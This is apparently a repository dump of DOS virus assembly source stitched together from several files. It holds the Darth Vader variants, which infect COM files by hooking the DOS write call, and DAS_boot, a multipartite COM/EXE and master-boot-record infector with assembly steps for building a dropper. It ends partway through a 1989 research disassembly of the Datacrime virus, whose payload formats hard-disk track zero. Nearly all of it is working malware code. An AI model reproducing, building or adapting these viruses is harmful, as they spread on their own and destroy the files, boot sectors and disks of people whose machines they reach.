;* those COM file, wich have area of 345 (or more) zeros. Virus put *
;* himself in this area and make jump to its code. As before, he can't *
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
;* (WRITE to File/Device). The virus operate in memory only, so there is *
;* no slowing in operations. This release of virus support DOS versions *
;* from 2.X till 4.X. *
;* You may make any modifications in this source, BUT let me know *
;* what have you done (drop message at Virus eXchange BBS) *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Virus start offset is 0
call NextLine ; Call next instruction
NextLine
pop si ; and calculate its present location
sub si,3
mov [0f0h],si ; Save own location in PSP
mov [0FEh],ax ; Save AX in PSP (Important for DOS
; external commands)
xor ax,ax ; Make DS point in interrupts vectors
mov ds,ax ;
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
mov ax,9000h ; DS will point at 9000h
mov ds,ax ; usualy there are zeros
xor di,di ; ES:DI point first byte in DOS segment
NextZero
inc di ; Next byte
cmp di,0F00h ; If more than F00 bytes checked
ja ReturnControl ; then suppose no room and exit
push di ; else save tested offset
xor si,si ; DS:SI == 9000:0000 (zeros area)
mov cx,offset LastByte ; Size of virus
repe cmpsb ; Compare until equal
pop di ; Restore tested area offset
jcxz Found ; If tested area is fill with zeros->
jmp short NextZero ; else check next
Found ; <- Will install himself in this area
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
mov cs:[0F2h],di ; Save offset in DOS segment
push cs ; Set DS point to virus segment
pop ds ;
mov cx,offset LastByte ; Size of virus
rep movsb ; Move itself in DOSSEG
push es ; Set DS point to DOSSEG
pop ds
mov si,di ; From this offset (after virus)
NextCall ; Will search DOS dispatcher
inc si ; Next byte
jz ReturnControl ; If segment overrun -> Return control
push si ; Save tested area offset
lodsw ; Load word from DS:SI
xchg ax,bx ; and put readed value in BX
lodsb ; Load byte from DS:SI
cmp bx,0FF36h ; Check 'magic' bytes
je CheclAl ; If first word match -> check last
AgainCall
pop si ; else restore offset
jmp short NextCall ; and go search next byte
CheclAl
cmp al,16h ; Check last 'magic' byte
jne AgainCall ; If not match go search next byte
pop si ; Else restore founded offset
push si ; and save it for further usage
mov di,cs:[0F2h] ; Get virus offset
mov [4],di ; and save it to DOSSEG
add di,offset HandleCall ; DI now adjusted to
movsw ; original dispatcher place
movsw ; Original dispatcher go at ES:DI for
movsb ; further calls from virus
pop di ; Restore founded offset
mov al,9Ah ; and put an absolute FAR CALL
stosb
mov ax,offset Handle ; Put offset of new dispatcher
add ax,cs:[0F2h] ; adjust him for different offsets
stosw ; and store offset in FAR CALL
mov ax,es ; put DOSSEG either in FAR CALL
stosw
; Since this moment virus is installed and operated in memory. If make a copy
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
; zeros, the copy (not the original) will became infected. Copied file will
; operate correctly when you start him. The virus logic allow multiple copies
; of the virus in the memory so you may have file with several copies of virus
; (each memory copy put himself in file)
ReturnControl ; Return control to main program
push cs ; Set DS and ES to point at PSP
push cs
pop ds
pop es
mov di,100h ; Set ES:DI point start of file at PSP:100
push di ; Put DI in stack for dummy return
mov si,[0F0h] ; Get beginning of the virus
add si,offset First3 ; and adjust for first 3 instr.
movsw ; Move saved First instructions
movsb ;
mov ax,[0FEh] ; Restore saved AX (required by DOS
ret ; external command. Return control
; via dummy RET
Fail
jmp Do ; Requested jump! Don't touch here!
Handle
mov cs:[0Ah],ds ; Save write buffer segment
mov cs:[0Ch],dx ; Save write buffer offset
mov cs:[0Eh],cx ; Save write buffer size
push ax ; Save important registers
push bx
push cx
push es
push si
push di
cmp ah,40h ; If function is not 40 (WRITE)
jne Fail ; then call DOS with no infection
cmp cx,offset LastByte+10h ; Check if size of buffer
jb Fail ; is big enough to hold all virus
mov ax,1220h ; Get file handle internal table number
int 2Fh ; Via int2F (undocumented)
mov bl,es:[di] ; Load table number to BL
mov ax,1216h ; Get handle table address in ES:DI
int 2Fh ; Via int2F (undocumented)
add di,28h ; ES:DI will point file extension
push cs ; Set DS to point in virus
pop ds
mov si,offset Com ; SI point to COM string
add si,[4] ; adjust for different offsets
mov cx,3 ; Will compare 3 bytes
repe cmpsb ; Compare until equal
jne Do ; If not equal -> exit with no infect
push ds ; ES point to virus (DOS) segment
pop es
mov ds,cs:[0Ah] ; DS point to write buffer segment
mov si,cs:[0Ch] ; SI point to write buffer offset
mov di,offset First3 ; DI point to save area for
add di,cs:[4] ; first 3 instruction. Adjust fo offset
movsw ; Save first 3 instruction from write buffer
movsb ; to virus buffer
mov ax,9000h ; ES wil point zeros at 9000
mov es,ax
mov cx,cs:[0Eh] ; Restore write buffer size
SearchHole
xor di,di ; ES:DI point to 9000:0000
inc si ; SI point next byte from write buffer
dec cx ; Decrease remaining bytes
jz Do ; If test all buffer -> no infection
push cx ; Save remain buffer size
push si ; Save current buffer offset
mov cx,offset LastByte ; Will check for virus size only
repe cmpsb ; Check until equal
pop si ; Restore tested area offset
jcxz FoundHole ; If 345 zeros -> Go infect
pop cx ; Else restore remain buffer size
jmp short SearchHole ; And go check next byte
FoundHole
pop cx ; Restore remain buffer size
push si ; Save DS:SI (point to zeros in write buffer)
push ds ;
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
mov di,cs:[0Ch] ;
mov al,0E9h ; Put a NEAR JMP in buffer
stosb ;
sub si,cs:[0Ch] ; Calculate argument for JMP
sub si,3
mov ax,si ; and store it in buffer
stosw ;
pop es ; ES:DI now will point to zeros
pop di ; and the JMP address point here
; So virus will receive control first
push cs ; DS:SI will point to virus code in memory
pop ds
mov si,cs:[4] ; Adjust for different offsets
mov cx,offset LastByte ; Will move virus size only
rep movsb ; Move virus in write buffer
Do
pop di ; Restore important registers
pop si
pop es
pop cx
pop bx
pop ax
mov dx,cs:[0Ch] ; Restore write buffer address
mov ds,cs:[0Ah] ; to DS:DX
HandleCall
db 5 dup (0) ; Here come original DOS jump instr.
; Usualy it is CALL SS:[MemOffs]
; In original DOS jump instr. is placed
; a FAR CALL to new WRITE handler
retf ; Return to DOS
First3 ; Here come first 3 instruction of infected file
int 20h ; Now they are dummy terminate
nop
Com
db 'COM' ; String to check for any COM file
db 'Darth Vader' ; Virus signature
LastByte ; Dummy label to compute virus size
nop

+197
View File
@@ -0,0 +1,197 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R ]I[ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the third release of Darth Vader virus. He also infect only *
;* those COM file, wich have area of 255 (or more) zeros. As you might *
;* see, virus' size is reduced. This increase possibility file to have *
;* enough zeros to hold virus. In several tests the percentage of *
;* infected file was tested, and it was bigger than in Darth Vader 2. *
;* This release support only DOS 2.X and later, but less than 5.X *
;* You may make any modifications in this source, BUT let me know *
;* what you have done (drop me a message at Virus eXchange BBS) *
;* *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Begin from offset 0
nop ; Dummy NOPs. Don't remove them
nop
nop
call NextLine ; Call next instruction
NextLine
pop bx ; To calculate it's own location
sub bx,6 ; Location stored in BX
mov [0FEh],ax ; Save AX for further usage
xor ax,ax ; Set DS to point in interrupt table
mov ds,ax ;
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
xor di,di ; ES:DI point to DOSSEG:0000
mov cx,1000h ; Will search 1000h bytes
call SearchZero ; Search Zeros in ES:DI
jc ReturnControl ; If CF==Yes -> no place and exit
mov cs:[bx+offset NewStart],di ; Save beginnig
xor si,si ; SI=0;
push es ; Set DS point to DOSSEG
pop ds
SearchTable
lodsw ; Load word from DS:SI
cmp ax,8B2Eh ; Check first 'magic' byte
je Found1 ; If match -> check next byte
NotHere
dec si ; Else go search from next byte
jmp short SearchTable
Found1
lodsb ; Load next byte
cmp al,9Fh ; If match with last 'magic' byte
je FoundTable ; fo to found table
dec si ; else go search from next byte
jmp short NotHere
FoundTable
lodsw ; Load table address to AX
xchg ax,bx ; Exchange AX <-> BX
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
xchg ax,bx ; Exchange AX <-> BX
mov cs:[bx+offset OldWrite],cx ; Save old offset
lea cx,[di+offset Handle] ; Load in CX new offset
xchg ax,bx ; Exchgange AX <-> BX
mov [bx+80h],cx ; Store new WRITE offset to table
xchg ax,bx ; Exchange AX <-> BX
push cs ; Set DS point to virus code
pop ds ;
mov cx,offset LastByte ; CX = Virus Size
mov si,bx ; SI=virus start offset
rep movsb ; ES:DI point to free area in DOS
; go in there
ReturnControl
push cs ; Set DS & ES point in host program
push cs
pop ds
pop es
mov di,100h ; DI point CS:100
lea si,[bx+offset First3] ; SI point old first instr
push di ; Save DI for dummy RETurn
movsw ; Move first 2 byte
movsb ; Move another one
mov ax,[0FEh] ; Restore AX (Remember?)
xor bx,bx ; Clear BX
ret ; Return control to host via dummy RETurn
; Here terminate virus installation in memory. After this moment
; virus is active and will infect any COM file bigger than the virus
; and having enough zeros
SearchZero
xor ax,ax ; Set AX to zero (gonna search zeros)
Again
inc di ; ES:DI++
push cx ; Save CX
push di ; Save DI
mov cx,offset LastByte ; CX = Virus Size
repe scasb ; Search until equal
pop di ; Restore DI
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
pop cx ; Else restore CX
loop Again ; And loop again until CX!=0
stc ; If CX==0
ret ; Set CF and return to caller (No place)
FoundPlace
pop cx ; Restore CX
clc ; Clear CF (ES:DI point to zero area)
ret ; Return to caller
; The followed procedure is new WRITE handle. It check does write buffer
; have enough zeros to hold virus. If so -> copy virus in zero area, change
; entry point and write file, else write file only
Handle
mov ss:[4],bp ; Save BP (BP used as index register)
push es ; Save important registers
push ax ; DS:DX are saved last, because
push bx ; they are used later in infection
push cx
push si
push di
push ds ;
push dx ;
call NextHandle ; Call NextHandle to calculate
OldWrite ; variable area offset
dw 0 ; Old WRITE handler
NewStart
dw 0 ; Virus offset in DOSSEG
First3
int 20h ; First 3 instruction of COM file
nop
NextHandle
pop bp ; Set SS:BP to point to variable area
cmp cx,offset LastByte+10h ; Check if write buffer
jb Do ; is big enough. If not -> exit
mov ax,1220h ; Get file handle (BX) table number
int 2Fh ; Via interrupt 2F (undocumented)
mov bl,es:[di] ; Load handle table number in BL
mov ax,1216h ; Get file handle table address
int 2Fh ; Via interrupt 2F (undocumented)
cmp es:[di+29h],'MO' ; Check if file is ?OM
jne Do ; If not -> exit
pop di ; Set ES:DI to point write buffer
pop es ;
push es ;
push di ;
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
mov [bp+4],ax ; and save it in First instruction
mov al,es:[di+2] ; Set AL to third byte from buffer
mov [bp+6],al ; and save it in First instruction
call SearchZero ; Search zeros area in buffer
jc Do ; If not found -> exit
mov bx,di ; Set BX to point zero area
push cs ; Set DS point to DOSSEG (Virus)
pop ds
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
mov cx,offset LastByte ; Set CX to virus size
rep movsb ; Move virus to buffer
pop di ; Set DI point to buffer (not zero area)
push di
mov al,0E9h ; Set AL to JMP opcode
sub bx,di ; Set BX to virus offset in file
stosb ; Store JMP to buffer
xchg ax,bx ; AX now have offset of virus in file
sub ax,3 ; Calculate JMP argument
stosw ; and store it in buffer
Do
pop dx ; Restore important registers
pop ds
pop di
pop si
pop cx
pop bx
pop ax
pop es
push [bp] ; Put old WRITE offset in stack for RET
mov bp,ss:[4] ; Restore BP
ret ; Call DOS via dummy RETurn
db 'Darth Vader ' ; Virus sign
LastByte label byte ; Last byte of virus

+144
View File
@@ -0,0 +1,144 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* Enchanced by: Lazy Wizard *
;* *
;* Turbo Assembler 2.0 *
;* *
;*******************************************************************************
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,[LastByte-Start-1]/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,[LastByte-Start-1]/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
+314
View File
@@ -0,0 +1,314 @@
;=============================================================================
; Virus Name: DAS_boot
; Effective Length: 421 Bytes
; Description: Dark Angel's _small virus modified into multipartite
;
; Notes:
; - resident, multipartite, appending .COM/.EXE infector
; - infects .COM and .EXE files when they are executed
; - infects fixed disk MBR
; - no harmful payload
;
; To Compile:
; - use shareware A86 assembler
; - type "a86 das_boot.a86"
; - resulting das_boot.com is virus dropper which,
; if executed, will infect your system with DAS_boot
;=============================================================================
boot equ 07b00 ;delta offset for boot-time location
com equ 0100 ;delta offset for resident location
EXE_id equ -040 ;EXE infection tag
viruslength equ 01a5 ;length of virus = 421 bytes
das_boot:
call relative
oldheader db 0cd, 020 ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| 1st 3 bytes
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
relative:
pop bp ;pop offset of oldheader off of stack
sub bp,03 ;adjust offset to start of program
mov ax,cs ;load ax with current segment
mov cl,04 ;load cl with multiplier/shift value
shl ax,cl ;calculate absolute segment
mov si,bp ;load si with program offset
add si,ax ;calculate absolute address
cmp si,07c00 ;code executing at boot-time address?
jne infect_mbr ;if not, must be executing from file,
; so attempt to infect MBR
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
push si ;save 0000:07c00 on stack as load
push ds ; location for original MBR
dec word ptr [0413] ;decrease conventional memory by 1KB
int 012 ;load ax with #KB of conv. memory
mov cx,0106 ;load move (100) and shift (06) values
shl ax,cl ;calculate destination segment
mov es,ax ;set es to destination segment
mov [022*4+2],ax ;store boot tag in int22 vector seg.
xchg [013*4+2],ax ;point int13 vector to virus segment
mov [offset old13+boot+2],ax ;store old int13 segment value
mov ax,offset int13-com ;load ax with virus int13 handler off.
xchg [013*4],ax ;point int13 vector to virus offset
mov [offset old13+boot],ax ;store old int13 offset value
xor di,di ;set destination offset=0000
cld ;clear direction flag (fwd)
rep movsw ;move virus to top of conv. memory
push es ;push destination segment for retf
mov bx,offset top_mem-com ;load bx with offset
push bx ;push offset for retf
retf ;return to self at new location
top_mem:
pop es ;pop es=0000 as disk load segment
mov ax,0201 ;select read-one-sector function
pop bx ;pop bx=07c00 as disk load offset
mov cl,02 ;cylinder 0, sector 2 (original MBR)
int 013 ;load original MBR
jmp 0000:07c00 ;jump to execute original MBR
infect_mbr:
push ds ;preserve registers
push es
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov ax,0201 ;select read-one-sector function
lea bx,[bp+viruslength] ;set load offset just beyond program
mov cx,01 ;cylinder 0, sector 1 (MBR)
mov dx,080 ;head 0, drive "C"
int 013 ;load MBR
jb exit_small ;if flag=error, exit
cmp [bx],018e8 ;check for das_boot code
je exit_small ;if equal, MBR already infected, so
; exit
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 2
int 013 ;relocate original MBR to sector 2
mov si,bp ;set source offset to start of virus
mov di,bx ;set dest. offset to MBR in buffer
mov cx,viruslength ;load move count to cx
rep movsb ;move virus to MBR in memory
mov ax,0301 ;select write-one-sector function
inc cx ;cylinder 0, sector 1 (MBR)
int 013 ;write infected MBR to drive "C"
exit_small:
pop es ;restore segment registers to point
pop ds ; to PSP
add bp,03 ;reset bp to point to oldheader
or sp,sp ;test parity of stack pointer
jpo returnCOM ;if value is odd, COM file is host
returnEXE:
mov ax,ds ;load ax with PSP segment
add ax,010 ;adjust segment value to skip PSP
add [bp+016],ax ;restore orig. cs value in oldheader
add ax,[bp+0e] ;calculate original ss entry value
mov ss,ax ;load ss with original value
mov sp,cs:[bp+010] ;load sp with program entry value
jmp dword ptr cs:[bp+014] ;jump to EXE file entry point via
; restored value in oldheader
returnCOM:
mov di,0100 ;COM file entry point & move dest.
push di ;save on stack as return offset
mov si,bp ;point to stored COM 1st three bytes
movsw ;move the original three bytes
movsb ; back to the start of the COM file
ret ;return to execute the COM file
; (return segment already on stack)
int13:
push ax ;preserve registers
push ds
xor ax,ax ;zero ax
mov ds,ax ;point ds to vector table
mov ax,cs ;set ax=cs
cmp [090*4],ax ;bypass flag set?
je exit_int13 ;if so, don't steal int21 vector again
cmp [022*4+2],ax ;int22 vector segment = boot tag?
je exit_int13 ;if so, vectors not fully initialized,
; so don't steal int21 yet
mov [090*4],ax ;put bypass flag in unused BASIC vect.
xchg [021*4+2],ax ;point int21 vector to virus segment
mov cs:[offset old21-com+2],ax ;store orig. int21 handler segment
mov ax,offset int21-com ;load ax with virus int21 handler off.
xchg [021*4],ax ;point int21 vector to virus offset
mov cs:[offset old21-com],ax ;store orig. int21 handler offset
exit_int13:
pop ds ;restore registers
pop ax
db 0ea ;"jmp far" to location specified in
old13: ; old13
dw ?, ? ;offset and segment of original int13
; handler
infect:
push ax ;preserve registers
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,03d02 ;open file read/write function
int 021 ;attempt to open file read/write
xchg ax,bx ;save file handle in bx
push cs
pop ds ;set ds=cs
push cs
pop es ;set es=cs
mov si,offset oldheader-com ;point to offset of oldheader
mov ah,03f ;read file function
mov cx,018 ;first 18 bytes
push cx ;save value for later use
mov dx,si ;point to oldheader offset
int 021 ;load file's 1st 18 bytes to oldheader
cmp ax,cx ;18 bytes successfully read?
jne go_already_infected ;if not, open file read/write failed,
; so exit
mov di,offset target-com ;point to target offset
push di ;save offset value for later use
rep movsb ;move oldheader to target (cx=18)
pop di ;restore di to target offset value
mov ax,04202 ;move file pointer, offset from EOF
cwd ;set dx=0000 (LSP) [cx=0000 (MSP)]
int 021 ;move file pointer to EOF, dx:ax
; returned as new file pointer
cmp ds:[di],'ZM' ;check target header for EXE tag
je infectEXE ;if present, infect EXE
infectCOM:
sub ax,03 ;subtract 3 from file pointer offset
mov byte ptr ds:[di],0e9 ;put "jmp" at start of target header
mov ds:[di+01],ax ;put jmp offset in target header
sub ax,viruslength ;calc. jmp offset of infected file
cmp ds:[si-017],ax ;does file's jmp offset match?
jne finishinfect ;if not, it's not infected, so infect
go_already_infected:
pop cx ;discard excess value on stack
jmp short already_infected ;exit infection routine
int21:
cmp ax,04b00 ;load and execute file request?
je infect ;if so, attempt to infect file
jmp short chain ;if not, jump to orig. int21 handler
infectEXE:
cmp word ptr [di+010],EXE_id ;check for infect tag in target SP
je go_already_infected ;if tag is present, don't infect
push ax ;push file pointer LSP
push dx ;push file pointer MSP
add ax,viruslength ;add virus length to file length (LSP)
adc dx,0 ;adjust MSP (segment) to reflect
; any carry from adjustment of LSP
mov cx,0200 ;set cx=1 page (512d bytes)
div cx ;divide new file length by 512d to
; calculate number of pages in file
or dx,dx ;remainder in dx?
jz nohiccup ;if not, no need to add another page
inc ax ;add another page to length value
nohiccup:
mov ds:[di+04],ax ;store # of pages in target header
mov ds:[di+02],dx ;store # of bytes in last page in
; target header
pop dx ;restore dx to file pointer MSP
pop ax ;restore ax to file pointer LSP
mov cx,010 ;convert dx:ax to
div cx ; segment(ax):offset(dx) form
sub ax,ds:[di+08] ;subtract header size
mov ds:[di+014],dx ;store new entry ip in target
mov ds:[di+016],ax ;store new entry cs displacement
mov ds:[di+0e],ax ;store new entry ss displacement
mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
finishinfect:
mov ah,040 ;write to file w/handle function
mov cx,viruslength ;specify # of bytes to write
xor dx,dx ;set buffer start at virus offset
int 021 ;write _small to EOF
mov ax,04200 ;move file pointer, offset from BOF
xor cx,cx ;MSP of offset cx=0000
cwd ;LSP of offset dx=0000
int 021 ;move file pointer to BOF
mov ah,040 ;write to file w/handle function
mov dx,di ;set buffer start at target header
pop cx ;specify 18 bytes to write
int 021 ;write modified EXE header (or COM
; jmp xxxx & next 15 bytes) to BOF
already_infected:
mov ah,03e ;close file w/handle function
int 021 ;close file
exitinfect:
pop es ;preserve registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea ;"jmp far" to location specified in old21
heap:
old21 dw ?, ? ;offset and segment of orig. int21 handler
target dw ? ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| jmp to virus
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
endheap:
end das_boot
+537
View File
@@ -0,0 +1,537 @@
;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'Datacrime' Virus :
; : Disassembled by Joe Hirst, May 1989 :
; : :
; : Copyright (c) Joe Hirst 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
; Addressability is maintained by taking the offset from the
; initial jump to the virus. This is the length of the host minus
; three (length of the jump instruction). Three is subtracted
; from this figure (presumably the length of the original "host"
; program when the virus was released). The result is kept in
; register SI. Data addresses add SI+106H (COM origin of 100H
; + length of jump + length of initial host) to the offset of the
; data item within the virus.
; Note that if it does nothing else this virus will almost certainly
; screw up the critical error handler because:
; 1. There is a missing segment override on the restore of the
; original segment (presumably the result of inserting such
; overrides manually), and
; 2. If the virus looks at more than one disk it will reinstall
; the routine, overwriting the original saved vector with that
; of its own routine.
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
ORG 09AH
DW009A DW ?
ORG 101H
DW0101 DW ?
; Start of virus - Set up relocation factor
ORG 0
START: MOV SI,CS:DW0101 ; Address initial jump to virus
SUB SI,3 ; Length of original host (?)
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JNE BP0012 ; Branch if not
JMP BP0110 ; Infection routine
; Restore host and test initial start month
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
MOV BX,0100H ; Address beginning of host program
MOV CX,5 ; Word count
BP001C: MOV AX,[DI] ; Get next word
MOV [BX],AX ; Replace next word
ADD BX,2 ; Address next target word
ADD DI,2 ; Address next stored word
DEC CX ; Reduce count
JNZ BP001C ; Repeat for each word
MOV AH,2AH ; Get date function
INT 21H ; DOS service
MOV AL,CS:DB03EA[SI+106H] ; Get start month
CMP AL,DH ; Is it start month yet?
JG BP0040 ; Branch if not
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
JMP BP0045
; Pass control to host program
BP0040: MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Are we in target part of year?
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
CMP AX,DX ; Compare to actual
JL BP0051 ; Branch if after start date
JMP BP0110 ; Infection routine
; Is there a hard disk?
BP0051: MOV AX,0 ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0106H ; Address Int 41H segment
MOV AX,[BX] ; Get Int 41H segment
POP DS
CMP AX,0 ; Is it zero (no hard disk)?
JNE BP0067 ; Branch if not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Display message and format track zero, heads 0 - 8
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
MOV CL,29H ; Load length of string
BP006D: MOV DL,CS:[BX] ; Get a character
XOR DL,55H ; Decrypt character
MOV AH,2 ; Display character function
INT 21H ; DOS service
INC BX ; Address next character
DEC CL ; Reduce count
JNZ BP006D ; Repeat for each character
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
MOV CH,0 ; Track zero
MOV DX,0080H ; Head zero, first hard disk
BP0084: MOV CH,0 ; Track zero
MOV AL,0 ; Load zero
MOV CL,6 ; \ Multiply zero by 64
SHL AL,CL ; /
MOV CL,AL ; Move result (zero)
OR CL,1 ; Now its one (and next line zero)
MOV AX,0500H ; Format track, interleave zero
INT 13H ; Disk I/O
JB BP009F ; Branch if error
INC DH ; Next head
CMP DH,9 ; Is it head nine?
JNE BP0084 ; Format if not
BP009F: MOV AH,2 ; Display character function
MOV DL,7 ; Beep
INT 21H ; DOS service
JMP BP009F ; Loop on beep
; Format table (required for ATs and PS/2s)
; Program does not in fact point to this because the reference
; to register SI is missing
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
; The next field decodes to:
; DB 'DATACRIME VIRUS', 0AH, 0DH
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
; Start of infection routine
BP0110: MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV CS:DB03F5[SI+106H],AL ; Save current disk
MOV AH,47H ; Get current directory function
MOV DX,0 ; Default disk
PUSH SI
LEA SI,DB03F6+1[SI+106H] ; Original directory store
INT 21H ; DOS service
POP SI
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
JMP BP0130 ; Select disk drive
; Select disk drive from table
BP0130: CALL BP0172 ; Install Int 24H routine
LEA BX,DB03E3[SI+106H] ; Address disk drive table
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
MOV AH,0 ; Clear top of register
ADD BX,AX ; Add disk drive pointer
MOV AL,CS:[BX] ; Get next disk drive
MOV DL,AL ; Move device for select
CMP AL,0FFH ; End of table?
JNE BP0151 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP0151: MOV AH,0EH ; Select disk function
INT 21H ; DOS service
MOV AH,47H ; Get current directory function
MOV DL,0 ; Default drive
PUSH SI
LEA SI,DB0417+1[SI+106H] ; Current directory path name
INT 21H ; DOS service
POP SI
MOV BX,4 ; Address critical error
MOV AL,CS:[BX] ; Get critical error code
CMP AL,3 ; Was it three?
JNE BP01B7 ; Branch if not
MOV AL,0 ; \ Set it back to zero
MOV CS:[BX],AL ; /
JMP BP0130 ; Select next disk drive
; Install interrupt 24H routine
BP0172: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,[BX+2] ; Get Int 24H segment
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
MOV AX,[BX] ; Get Int 24H offset
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
MOV AX,CS ; Get current segment
MOV [BX+2],AX ; Set new Int 24H segment
LEA AX,BP01AE[SI+106H] ; Int 24H routine
MOV [BX],AX ; Set new Int 24H offset
POP DS
RET
; Restore original interrupt 24H
BP0196: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
MOV [BX+2],AX ; Restore Int 24H segment
